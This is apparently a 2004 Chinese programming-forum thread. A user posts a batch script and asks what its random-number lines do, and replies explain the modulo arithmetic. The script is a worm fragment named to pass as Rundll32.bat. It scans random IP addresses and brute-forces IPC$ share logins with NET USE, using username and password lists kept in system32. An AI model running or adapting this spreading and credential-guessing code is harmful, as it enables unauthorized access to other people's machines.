*****************************************
REM ########################
REM 配置部分
SET SORI=1
SET ADDR1=254
SET ADDR2=254
SET ADDR3=254
SET ADDR4=254
SET WORM=Rundll32.bat
REM #######################
:IPADDRESS
IF %SORI%==4 SET /A ADDR4=%RANDOM% %% %ADDR4%
IF %SORI%==3 (
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==2 (
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==1 (
SET /A ADDR1=%RANDOM% %% %ADDR1%
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
) SET ADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%
FOR /F %%K IN (%windir%\system32\U.txt) DO FOR /F %%J IN (%windir%\system32\P.txt) DO NET USE \\%ADDRESS%\IPC$ %%J /USER:%%K & IF NOT errorlevel 1 GOTO RUN
GOTO IPADDRESS作者: 神仙贝贝 时间: 2004-7-10 00:00 没有人回答吗,等了好九了 55555555作者: aria 时间: 2004-7-11 00:00 那里应该是取余操作吧?作者: Climbing 时间: 2004-7-11 00:00 %RANDOM%表示一个随机整数,这个批处理文件应该是运行于win2000/xp/2003下的,因为只能这些环境下才会有%RANDOM%这个环境变量。
以其中一句为例讲讲是什么意思吧:
IF %SORI%==3 ( rem 如果SORI变量为3
:: 设置ADDR3的值为随机数除以254的余数。
SET /A ADDR3=%RANDOM% %% %ADDR3%
:: 类似上面
SET /A ADDR4=%RANDOM% %% %ADDR4%
)